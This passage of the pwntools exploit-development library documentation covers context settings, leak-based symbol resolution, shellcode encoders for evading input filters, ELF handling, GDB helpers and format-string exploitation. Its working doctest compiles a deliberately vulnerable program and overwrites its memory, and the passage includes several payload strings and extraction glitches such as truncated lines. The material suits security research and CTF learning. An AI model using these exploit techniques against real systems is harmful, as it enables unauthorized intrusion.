This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke

`super(Subclass.self).set_up_context()` or similar.

`ContextType.arch`

Target binary architecture.

Allowed values are listed in `pwnlib.context.ContextType.architectures`.

Side Effects:

If an architecture is specified which also implies additional attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies big-endian), these attributes will be set on the context if a user has not already set a value.

The following properties may be modified.

- bits
- endian

Raises `AttributeError` – An invalid architecture was specified

Examples

```
>>> context.clear()
>>> context.arch == 'i386' # Default architecture
True
```

```
>>> context.arch = 'mips'
>>> context.arch == 'mips'
True
```

```
>>> context.arch = 'doge'
Traceback (most recent call last):
...
AttributeError: arch must be one of ['aarch64', ..., 'thumb']
```

```
>>> context.arch = 'ppc'
>>> context.arch == 'powerpc' # Aliased architecture
True
```

```
>>> context.clear()
>>> context.bits == 32 # Default value
True
>>> context.arch = 'amd64'
>>> context.bits == 64 # New value
True
```

Note that expressly setting `bits` means that we use that value instead of the default

```
>>> context.clear()
>>> context.bits = 32
>>> context.arch = 'amd64'
>>> context.bits == 32
True
```

Setting the architecture can override the defaults for both `endian` and `bits`

```
>>> context.clear()
>>> context.arch = 'powerpc64'
>>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}
True
```

`ContextType.architectures = OrderedDict([('powerpc64', {'bits': 64, 'endian': 'big'}), ('powerpc', {'bits': 32, 'endian': 'big'})]`
 Keys are valid values for `pwnlib.context.ContextType.arch()`. Values are defaults which are set when `pwnlib.context.ContextType.arch` is set

`ContextType.aslr`

ASLR settings for new processes.

If `False`, attempt to disable ASLR in all processes which are created via personality (`setarch -R`) and `setrlimit(ulimit -s unlimited)`.

The `setarch` changes are lost if a `setuid` binary is executed.

`ContextType.binary`

Infer target architecture, bit-width, and endianness from a binary file. Data type is a `pwnlib.elf.ELF` object.

Examples

```
>>> context.clear()
>>> context.arch, context.bits
('i386', 32)
>>> context.binary = '/bin/bash'
>>> context.binary
ELF('/bin/bash')
>>> (context.arch, context.bits) == (context.binary.arch, context.binary.bits)
True
```

`ContextType.bits`

Target machine word size, in bits (i.e. the size of general purpose registers).

The default value is 32, but changes according to `arch`.

Examples

```
>>> context.clear()
>>> context.bits == 32
True
>>> context.bits = 64
>>> context.bits == 64
True
>>> context.bits = -1
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (-1)
```

`ContextType.bytes`

Target machine word size, in bytes (i.e. the size of general purpose registers).

This is a convenience wrapper around `bits / 8`.

Examples

```
>>> context.bytes = 1
>>> context.bits == 8
True
>>> context.bytes = 0
```

```
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (0)
```

`ContextType.clear(*args, **kwargs)`

Clears the contents of the context. All values are set to their defaults.

Parameters

- **a** – Arguments passed to update
- **kw** – Arguments passed to update

Examples

```
>>> # Default value
>>> context.arch == 'i386'
True
>>> context.arch = 'arm'
>>> context.arch == 'i386'
False
>>> context.clear()
>>> context.arch == 'i386'
True
```

`ContextType.copy()` → dict

Returns a copy of the current context as a dictionary.

Examples

```
>>> context.clear()
>>> context.os = 'linux'
>>> vars(context) == {'os': 'linux'}
True
```

`ContextType.defaults = {'proxy': None, 'arch': 'i386', 'randomize': False, 'newline': '\n', 'timeout': 1048576.0, 'si`
Default values for `pwnlib.context.ContextType`

`ContextType.device`

Sets a target device for local, attached-device debugging.

This is useful for local Android exploitation.

This option automatically inherits the ANDROID_SERIAL environment value.

`ContextType.endian`

Endianness of the target machine.

The default value is 'little', but changes according to arch.

Raises `AttributeError` – An invalid endianness was provided

Examples

```
>>> context.clear()
>>> context.endian == 'little'
True
```

```
>>> context.endian = 'big'
>>> context.endian
'big'
```

```
>>> context.endian = 'be'
>>> context.endian == 'big'
True
```

```
>>> context.endian = 'foobar'
Traceback (most recent call last):
...
AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little']
```

`ContextType.endianness`
Legacy alias for `endian`.

Examples

```
>>> context.endian == context.endianness
True
```

`ContextType.endiannesses = OrderedDict([('little', 'little'), ('big', 'big'), ('le', 'little'), ('be', 'big'), ('el', 'little'), ('e', 'little')])`
Valid values for `endian`

`ContextType.kernel`
Target machine's kernel architecture.

Usually, this is the same as `arch`, except when running a 32-bit binary on a 64-bit kernel (e.g. `i386-on-amd64`).

Even then, this doesn't matter much – only when the the segment registers need to be known

`ContextType.local (**kwargs)` → context manager
Create a context manager for use with the `with` statement.

For more information, see the example below or PEP 343.

Parameters `kwargs` – Variables to be assigned in the new environment.

Returns `ContextType` manager for managing the old and new environment.

Examples

```
>>> context.clear()
>>> context.timeout = 1
>>> context.timeout == 1
True
>>> print(context.timeout)
1.0
>>> with context.local(timeout=2):
...     print(context.timeout)
...     context.timeout = 3
...     print(context.timeout)
2.0
3.0
>>> print(context.timeout)
1.0
```

ContextType.log_file

Sets the target file for all logging output.

Works in a similar fashion to log_level.

Examples

```
>>> context.log_file = 'foo.txt'
>>> log.debug('Hello!')
>>> with context.local(log_level='ERROR'):
...     log.info('Hello again!')
>>> with context.local(log_file='bar.txt'):
...     log.debug('Hello from bar!')
>>> log.info('Hello from foo!')
>>> open('foo.txt').readlines()[-3]
'...:DEBUG:...:Hello!\n'
>>> open('foo.txt').readlines()[-2]
'...:INFO:...:Hello again!\n'
>>> open('foo.txt').readlines()[-1]
'...:INFO:...:Hello from foo!\n'
>>> open('bar.txt').readlines()[-1]
'...:DEBUG:...:Hello from bar!\n'
```

ContextType.log_level

Sets the verbosity of pwntools logging mechanism.

More specifically it controls the filtering of messages that happens inside the handler for logging to the screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you.

Valid values are specified by the standard Python logging module.

Default value is set to INFO.

Examples

```
>>> context.log_level = 'error'
>>> context.log_level == logging.ERROR
True
>>> context.log_level = 10
>>> context.log_level = 'foobar'
Traceback (most recent call last):
...
AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG', 'ERROR', 'INFO']
```

ContextType.noptrace

Disable all actions which rely on ptrace.

This is useful for switching between local exploitation with a debugger, and remote exploitation (without a debugger).

This option can be set with the NOPTRACE command-line argument.

ContextType.os

Operating system of the target machine.

The default value is linux.

Allowed values are listed in `pwnlib.context.ContextType.oses`.

Examples

```
>>> context.os = 'linux'
>>> context.os = 'foobar'
Traceback (most recent call last):
...
AttributeError: os must be one of ['android', 'cgc', 'freebsd', 'linux', 'windows']
```

ContextType.**oses** = ['android', 'cgc', 'freebsd', 'linux', 'windows']
Valid values for `pwnlib.context.ContextType.os()`

ContextType.**proxy**
Default proxy for all socket connections.

Examples

```
>>> context.proxy = 'localhost'
>>> r = remote('google.com', 80)
Traceback (most recent call last):
...
pwnlib.exception.PwnlibException: Could not connect to google.com on port 80
>>> context.proxy = None
>>> r = remote('google.com', 80, level='error')
```

ContextType.**randomize**
Global flag that lots of things should be randomized.

ContextType.**reset_local()**
Deprecated. Use `clear()`.

ContextType.**sign**
Alias for `signed`

ContextType.**signed**
Signed-ness for packing operation when it's not explicitly set.

Can be set to any non-string truthy value, or the specific string values 'signed' or 'unsigned' which are converted into True and False correspondingly.

Examples

```
>>> context.signed
False
>>> context.signed = 1
>>> context.signed
True
>>> context.signed = 'signed'
>>> context.signed
True
>>> context.signed = 'unsigned'
>>> context.signed
False
>>> context.signed = 'foobar'
Traceback (most recent call last):
...
AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or a non-string tr
```

ContextType.**signedness**

Alias for signed

ContextType.**signednesses** = {'unsigned': False, 'signed': True, 'yes': True, 'no': False}

Valid string values for signed

ContextType.**silent**

Disable all non-error logging within the enclosed scope.

ContextType.**terminal**

Default terminal used by `pwnlib.util.misc.run_in_new_terminal()`. Can be a string or an iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments.

ContextType.**timeout**

Default amount of time to wait for a blocking operation before it times out, specified in seconds.

The default value is to have an infinite timeout.

See `pwnlib.timeout.Timeout` for additional information on valid values.

ContextType.**update** (*args, **kwargs)

Convenience function, which is shorthand for setting multiple variables at once.

It is a simple shorthand such that:

```
context.update(os='linux', arch='arm', ...)
```

is equivalent to:

```
context.os = 'linux'
context.arch = 'arm'
...
```

The following syntax is also valid:

```
context.update({'os': 'linux', 'arch': 'arm'})
```

Parameters **kwargs** – Variables to be assigned in the environment.

Examples

```
>>> context.clear()
>>> context.update(arch='i386', os='linux')
>>> context.arch, context.os
('i386', 'linux')
```

ContextType.**word_size**

Alias for bits

class pwnlib.context.**Thread** (*args, **kwargs)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as `pwnlib.context.Thread` and on the context singleton object inside the context module as `pwnlib.context.context.Thread`.

Threads created by using the native `:class'threading'.Thread` will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```

>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print(context.arch)
...     context.arch = 'mips'
...     print(context.arch)
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _ = (t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print(context.arch)
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _ = (t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print(context.arch)
arm

```

Implementation Details:

This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.

This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

2.6 pwnlib.dyneif — Resolving remote functions using leaks

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

Example

```

# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %r" % (address, data))
    return data

# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc

```

```

main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup(b'system', 'libc') == system

# However, if we do have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup(b'system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup(b'system') == system

```

DynELF

class `pwnlib.dynelf.DynELF` (*leak*, *pointer=None*, *elf=None*)

DynELF knows how to resolve symbols in remote processes via an `infol leak` or `memleak` vulnerability encapsulated by `pwnlib.memleak.MemLeak`.

Implementation Details:

Resolving Functions:

In all ELF files which export symbols for importing by other libraries, (e.g. `libc.so`) there are a series of tables which give exported symbol names, exported symbol addresses, and the hash of those exported symbols. By applying a hash function to the name of the desired symbol (e.g., `'printf'`), it can be located in the hash table. Its location in the hash table provides an index into the string name table (`strtab`), and the symbol address (`symtab`).

Assuming we have the base address of `libc.so`, the way to resolve the address of `printf` is to locate the `symtab`, `strtab`, and hash table. The string `"printf"` is hashed according to the style of the hash table (`SYSV` or `GNU`), and the hash table is walked until a matching entry is located. We can verify an exact match by checking the string table, and then get the offset into `libc.so` from the `symtab`.

Resolving Library Addresses:

If we have a pointer into a dynamically-linked executable, we can leverage an internal linker structure called the `link map`. This is a linked list structure which contains information about each loaded library, including its full path and base address.

A pointer to the `link map` can be found in two ways. Both are referenced from entries in the `DYNAMIC` array.

- In non-RELRO binaries, a pointer is placed in the `.got.plt` area in the binary. This is marked by finding the `DT_PLTGOT` area in the binary.
- In all binaries, a pointer can be found in the area described by the `DT_DEBUG` area. This exists even in stripped binaries.

For maximum flexibility, both mechanisms are used exhaustively.

bases ()

Resolve base addresses of all loaded libraries.

Return a dictionary mapping library path to its base address.

dynamic

Returns – Pointer to the .DYNAMIC area.

elfclass

32 or 64

static find_base (*leak, ptr*)

Given a `pwnlib.memleak.MemLeak` object and a pointer into a library, find its base address.

libc

Leak the Build ID of the remote libc.so, download the file, and load an ELF object with the correct base address.

Returns An ELF object, or None.

link_map

Pointer to the runtime link_map object

lookup (*symb=None, lib=None*) → int

Find the address of `symbol`, which is found in `lib`.

Parameters

- **symb** (*bytes*) – Named routine to look up
- **lib** (*bytes, str*) – Substring to match for the library name. If omitted, the current library is searched. If set to 'libc', 'libc.so' is assumed.

Returns Address of the named symbol, or None.

`pwnlib.dynelf.gnu_hash` (*bytes*) → int

Function used to generate GNU-style hashes for strings.

`pwnlib.dynelf.sysv_hash` (*bytes*) → int

Function used to generate SYSV-style hashes for strings.

2.7 pwnlib.encoders — Encoding Shellcode

Encode shellcode to avoid input filtering and impress your friends!

`pwnlib.encoders.encoder.alphanumeric` (*raw_bytes*) → bytes

Encode the shellcode `raw_bytes` such that it does not contain any bytes except for [A-Za-z0-9].

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.encode` (*raw_bytes, avoid, expr, force*) → bytes

Encode shellcode `raw_bytes` such that it does not contain any bytes in `avoid` or `expr`.

Parameters

- **raw_bytes** (*bytes*) – Sequence of shellcode bytes to encode.
- **avoid** (*bytes*) – Bytes to avoid
- **expr** (*bytes, str*) – Regular expression which matches bad characters.

- **force** (*bool*) – Force re-encoding of the shellcode, even if it doesn't contain any bytes in *avoid*.

`pwntools.encoders.encoder.line` (*raw_bytes*) → bytes

Encode the shellcode *raw_bytes* such that it does not contain any NULL bytes or whitespace.

Accepts the same arguments as `encode()`.

`pwntools.encoders.encoder.null` (*raw_bytes*) → bytes

Encode the shellcode *raw_bytes* such that it does not contain any NULL bytes.

Accepts the same arguments as `encode()`.

`pwntools.encoders.encoder.printable` (*raw_bytes*) → bytes

Encode the shellcode *raw_bytes* such that it only contains non-space printable bytes.

Accepts the same arguments as `encode()`.

`pwntools.encoders.encoder.scramble` (*raw_bytes*) → bytes

Encodes the input data with a random encoder.

Accepts the same arguments as `encode()`.

class `pwntools.encoders.i386.xor.i386XorEncoder`

Generates an XOR decoder for i386.

Example

```
>>> context.clear(arch='i386')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = b'/bin/sh\xcc\xcd\x80'
>>> encoded = pwntools.encoders.i386.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
b'hello\n'
```

2.8 `pwntools.elf` — Working with ELF binaries

`pwntools.elf.load` (**args*, ***kwargs*)

Compatibility wrapper for `pwntools.v1`

class `pwntools.elf.ELF` (*path*)

Encapsulates information about an ELF file.

Variables

- **path** – Path to the binary on disk
- **symbols** – Dictionary of {name: address} for all symbols in the ELF
- **plt** – Dictionary of {name: address} for all functions in the PLT
- **got** – Dictionary of {name: address} for all function pointers in the GOT
- **libs** – Dictionary of {path: address} for each shared object required to load the ELF

Example

```

bash = ELF(which('bash'))
hex(bash.symbols[b'read'])
# 0x41dac0
hex(bash.plt[b'read'])
# 0x41dac0
u32(bash.read(bash.got[b'read'], 4))
# 0x41dac6
print disasm(bash.read(bash.plt[b'read'], 16), arch='amd64')
# 0:  ff 25 1a 18 2d 00      jmp     QWORD PTR [rip+0x2d181a]      # 0x2d1820
# 6:  68 59 00 00 00      push   0x59
# b:  e9 50 fa ff ff      jmp     0xffffffffffa60

```

address

Address of the lowest segment loaded in the ELF. When updated, cascades updates to segment vaddrs, section adrs, symbols, plt, and got.

Examples

```

>>> bash = ELF(which('bash'))
>>> old = bash.symbols[b'read']
>>> bash.address += 0x1000
>>> bash.symbols[b'read'] == old + 0x1000
True

```

asm (*address, assembly*)

Assembles the specified instructions and inserts them into the ELF at the specified address.

The resulting binary can be saved with `ELF.save()`

bss (*offset=0*)

Returns an index into the `.bss` segment

disasm (*address, n_bytes*)

Returns a string of disassembled instructions at the specified virtual memory address

dwarf

DWARF info for the elf

elfclass

ELF class (32 or 64).

Note: Set during `ELFFile._identify_file`

elftype

ELF type (EXEC, DYN, etc)

entry

Entry point to the ELF

entrypoint

Entry point to the ELF

executable_segments

Returns – list of all segments which are executable.

static from_assembly (*assembly*, *args, **kwargs)

Given an assembly listing, return a fully loaded ELF object which contains that assembly at its entry point.

Parameters

- **assembly** (*str*) – Assembly language listing
- **vma** (*int*) – Address of the entry point and the module’s base address.

Example

```
>>> e = ELF.from_assembly('nop; foo: int 0x80', vma=0x400000)
>>> e.symbols[b'foo'] = 0x400001
>>> e.disasm(e.entry, 1)
' 400000:      90                nop'
>>> e.disasm(e.symbols[b'foo'], 2)
' 400001:      cd 80            int    0x80'
```

static from_bytes (*bytes*, *args, **kwargs)

Given a sequence of bytes, return a fully loaded ELF object which contains those bytes at its entry point.

Parameters

- **bytes** (*bytes*) – Shellcode byte string
- **vma** (*int*) – Desired base address for the ELF.

Example

```
>>> e = ELF.from_bytes(b'\x90\xcd\x80', vma=0xc000)
>>> print(e.disasm(e.entry, 3))
c000:      90                nop
c001:      cd 80            int    0x80'
```

get_data ()

Retrieve the raw data from the ELF file.

Examples

```
>>> bash = ELF(which('bash'))
>>> fd = open(which('bash'), 'rb')
>>> bash.get_data() == fd.read()
True
```

libc

If the ELF imports any libraries which contain ‘libc.so’, and we can determine the appropriate path to it on the local system, returns an ELF object pertaining to that libc.so.

Otherwise, returns None.

non_writable_segments

Returns – list of all segments which are NOT writeable

offset_to_vaddr (*offset*)

Translates the specified offset to a virtual address.

Parameters **offset** (*int*) – Offset to translate

Returns Virtual address which corresponds to the file offset, or None

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.address == bash.offset_to_vaddr(0)
True
>>> bash.address += 0x123456
>>> bash.address == bash.offset_to_vaddr(0)
True
```

read (*address*, *count*)

Read data from the specified virtual address

Parameters

- **address** (*int*) – Virtual address to read
- **count** (*int*) – Number of bytes to read

Returns A string of bytes, or None

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address + 1, 3)
b'ELF'
```

rxw_segments

Returns – list of all segments which are writeable and executable.

save (*path*)

Save the ELF to a file

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.save('/tmp/bash_copy')
>>> copy = open('/tmp/bash_copy', 'rb')
>>> bash = open(which('bash'), 'rb')
>>> bash.read() == copy.read()
True
```

search (*needle*, *writable=False*) → int generator

Search the ELF's virtual address space for the specified string.

Parameters

- **needle** (*bytes*, *str*) – String to search for.
- **writable** (*bool*) – Search only writable sections.

Returns An iterator for each virtual address that matches.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.address + 1 == next(bash.search('ELF'))
True
```

```
>>> sh = ELF(which('bash'))
>>> # /bin/sh should only depend on libc
>>> libc_path = [key for key in sh.libs.keys() if 'libc' in key][0]
>>> libc = ELF(libc_path)
>>> # this string should be in there because of system(3)
>>> len(list(libc.search('/bin/sh'))) > 0
True
```

section (*name*)

Gets data for the named section

Parameters **name** (*bytes*) – Name of the section

Returns String containing the bytes for that section

sections

A list of all sections in the ELF

segments

A list of all segments in the ELF

start

Entry point to the ELF

vaddr_to_offset (*address*)

Translates the specified virtual address to a file address

Parameters **address** (*int*) – Virtual address to translate

Returns Offset within the ELF file which corresponds to the address, or None.

Examples

```
>>> bash = ELF(which('bash'))
>>> 0 == bash.vaddr_to_offset(bash.address)
True
>>> bash.address += 0x123456
>>> 0 == bash.vaddr_to_offset(bash.address)
True
```

writable_segments

Returns – list of all segments which are writeable

write (*address, data*)

Writes data to the specified virtual address

Parameters

- **address** (*int*) – Virtual address to write
- **data** (*bytes*) – Bytes to write

Note:: This routine does not check the bounds on the write to ensure that it stays in the same segment.

Examples

```

>>> bash = ELF(which('bash'))
>>> bash.read(bash.address + 1, 3)
b'ELF'
>>> bash.write(bash.address, b"HELO")
>>> bash.read(bash.address, 4)
b'HELO'

```

class `pwnlib.elf.Core` (**args, **kwargs*) → `Core`

Enhances the information available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.

Registers can be accessed directly, e.g. via `core_obj.eax`.

Mappings can be iterated in order via `core_obj.mappings`.

getenv (*name*) → `int`

Read an environment variable off the stack, and return its address.

Parameters *name* (*str*) – Name of the environment variable to read.

Returns The address of the environment variable.

maps

A printable string which is similar to `/proc/xx/maps`.

2.9 pwnlib.exception — Pwnlib exceptions

exception `pwnlib.exception.PwnlibException` (*message, reason=None, exit_code=None*)

Exception thrown by `pwnlib.log.error()`.

Pwnlib functions that encounters unrecoverable errors should call the `pwnlib.log.error()` function instead of throwing this exception directly.

2.10 pwnlib.fmtstr — Format string bug exploitation tools

Provide some tools to exploit format string bug

Examples

```

>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
...     char buff[1024];

```

```

...     void *ptr = NULL;
...     int *my_var = TARGET;
...     ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_
...     if(ptr != MEMORY_ADDRESS)
...     {
...         perror("mmap");
...         return EXIT_FAILURE;
...     }
...     *my_var = 0x41414141;
...     write(1, &my_var, sizeof(int *));
...     scanf("%s", buff);
...     dprintf(2, buff);
...     write(1, my_var, sizeof(int));
...     return 0;
... }'''
>>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
>>> def exec_fmt(payload):
...     p = process(program)
...     p.sendline(payload)
...     return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=subprocess.PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print(hex(unpack(p.recv(4))))
0x1337babe

```

2.10.1 Example - Payload generation

```

# we want to do 3 writes
writes = {0x08041337: 0xbfffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)

```

2.10.2 Example - Automated exploitation

```

# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload

```

```
def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    p.sendline(payload)
    return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
```

class `pwnlib.fmtstr.FmtStr` (*execute_fmt*, *offset=None*, *padlen=0*, *numbwritten=0*)
 Provides an automated format string exploitation.

It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.

If the *offset* parameter is not given, then try to find the right offset by leaking stack data.

Parameters

- **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
- **offset** (*int*) – the first formatter’s offset you control
- **padlen** (*int*) – size of the pad you want to add before the payload
- **numbwritten** (*int*) – number of already written bytes

execute_writes () → None
 Makes payload and send it to the vulnerable process

Returns None

write (*addr*, *data*) → None
 In order to tell : I want to write data at addr.

Parameters

- **addr** (*int*) – the address where you want to write
- **data** (*int*) – the data that you want to write addr

Returns None

Examples

```
>>> def send_fmt_payload(payload):
...     print(repr(payload))
...
>>> f = FmtStr(send_fmt_payload, offset=5)
>>> f.write(0x08040506, 0x1337babe)
>>> f.execute_writes()
b'\x06\x05\x04\x08\x07\x05\x04\x08\x08\x05\x04\x08\t\x05\x04\x08%174c%5$hhn%252c%6$hhn%125c%
```

`pwnlib.fmtstr.fmtstr_payload` (*offset*, *writes*, *numbwritten=0*, *write_size='byte'*) → bytes
 Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the `addr` is taken from `context.bits`

Parameters

- **offset** (*int*) – the first formatter’s offset you control
- **writes** (*dict*) – dict with addr, value {addr: value, addr2: value2}
- **numbwritten** (*int*) – number of byte already written by the printf function
- **write_size** (*str*) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)

Returns The payload in order to do needed writes

Examples

```
>>> context.clear(arch='amd64')
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n%3972547906c%2$hn'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
>>> context.clear(arch='i386')
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'\x00\x00\x00\x00%322419386c%1$n'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn'
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00%174c%1$hhn%252c%2$hhn%125c%3$hn'
```

2.11 pwnlib.gdb — Working with GDB

pwnlib.gdb.**attach** (*target, execute=None, exe=None, arch=None*) → None

Start GDB in a new terminal and attach to *target*. `pwnlib.util.proc.pidof()` is used to find the PID of *target* except when *target* is a (host, port)-pair. In that case *target* is assumed to be a GDB server.

If it is running locally and *exe* is not given we will try to find the path of the target binary from parsing the command line of the program running the GDB server (e.g. qemu or gdbserver). Notice that if the PID is known (when *target* is not a GDB server) *exe* will be read from `/proc/<pid>/exe`.

If *gdb-multiarch* is installed we use that or ‘gdb’ otherwise.

Parameters

- **target** – The target to attach to.
- **execute** (*str or file*) – GDB script to run after attaching.
- **exe** (*str*) – The path of the target binary.
- **arch** (*str*) – Architecture of the target binary. If *exe* known GDB will detect the architecture automatically (if it is supported).

Returns None

pwnlib.gdb.**debug** (*args*) → tube

Launch a GDB server with the specified command line, and launches GDB to attach to it.

Parameters

- **args** – Same args as passed to pwnlib.tubes.process

- **ssh** – Remote ssh session to use to launch the process. Automatically sets up port forwarding so that gdb runs locally.

Returns A tube connected to the target process

`pwnlib.gdb.debug_assembly` (*asm*, *execute=None*, *vma=None*)
Creates an ELF file, and launches it with GDB.

This is identical to `debug_shellcode`, except that any defined symbols are available in GDB, and it saves you the explicit call to `asm()`.

`pwnlib.gdb.debug_shellcode` (*data*, *execute=None*, *vma=None*)
Creates an ELF file, and launches it with GDB.

Parameters

- **data** (*bytes*) – Assembled shellcode bytes
- **kwargs** (*dict*) – Arguments passed to context (e.g. `arch='arm'`)

Returns A process tube connected to the shellcode on stdin/stdout/stderr.

`pwnlib.gdb.find_module_addresses` (*binary*, *ssh=None*, *ulimit=False*)
Cheat to find modules by using GDB.

We can't use `/proc/$pid/map` since some servers forbid it. This breaks `info proc` in GDB, but `info sharedlibrary` still works. Additionally, `info sharedlibrary` works on FreeBSD, which may not have procs enabled or accessible.

The output looks like this:

```
info proc mapping
process 13961
warning: unable to open /proc file '/proc/13961/maps'

info sharedlibrary
From      To          Syms Read  Shared Object Library
0xf7fdc820 0xf7ff505f Yes (*)    /lib/ld-linux.so.2
0xf7fbb650 0xf7fc79f8 Yes        /lib32/libpthread.so.0
0xf7e26f10 0xf7f5b51c Yes (*)    /lib32/libc.so.6
(*): Shared library is missing debugging information.
```

Note that the raw addresses provided by `info sharedlibrary` are actually the address of the `.text` segment, not the image base address.

This routine automates the entire process of:

1. Downloading the binaries from the remote server
2. Scraping GDB for the information
3. Loading each library into an ELF
4. Fixing up the base address vs. the `.text` segment address

Parameters

- **binary** (*str*) – Path to the binary on the remote server
- **ssh** (`pwnlib.tubes.tube`) – SSH connection through which to load the libraries. If left as `None`, will use `pwnlib.tubes.process.process`.
- **ulimit** (*bool*) – Set to `True` to run “`ulimit -s unlimited`” before GDB.

Returns A list of `pwnlib.elf.ELF` objects, with correct base addresses.

Example

```
>>> with context.local(log_level=9999):
...     shell = ssh(host='bandit.labs.overthewire.org', user='bandit0', password='bandit0')
...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
>>> os.path.basename(bash_libs[0].path)
'libc.so.6'
>>> hex(bash_libs[0].symbols[b'system'])
'0x7ffff7634660'
```

2.12 pwnlib.log — Logging stuff

Logging module for printing status during an exploit, and internally within pwntools.

2.12.1 Exploit Developers

By using the standard `from pwn import *`, an object named `log` will be inserted into the global namespace. You can use this to print out status messages during exploitation.

For example,:

```
log.info('Hello, world!')
```

prints:

```
[*] Hello, world!
```

Additionally, there are some nifty mechanisms for performing status updates on a running job (e.g. when brute-forcing):

```
p = log.progress('Working')
p.status('Reticulating splines')
time.sleep(1)
p.success('Got a shell!')
```

The verbosity of logging can be most easily controlled by setting `log_level` on the global `context` object:

```
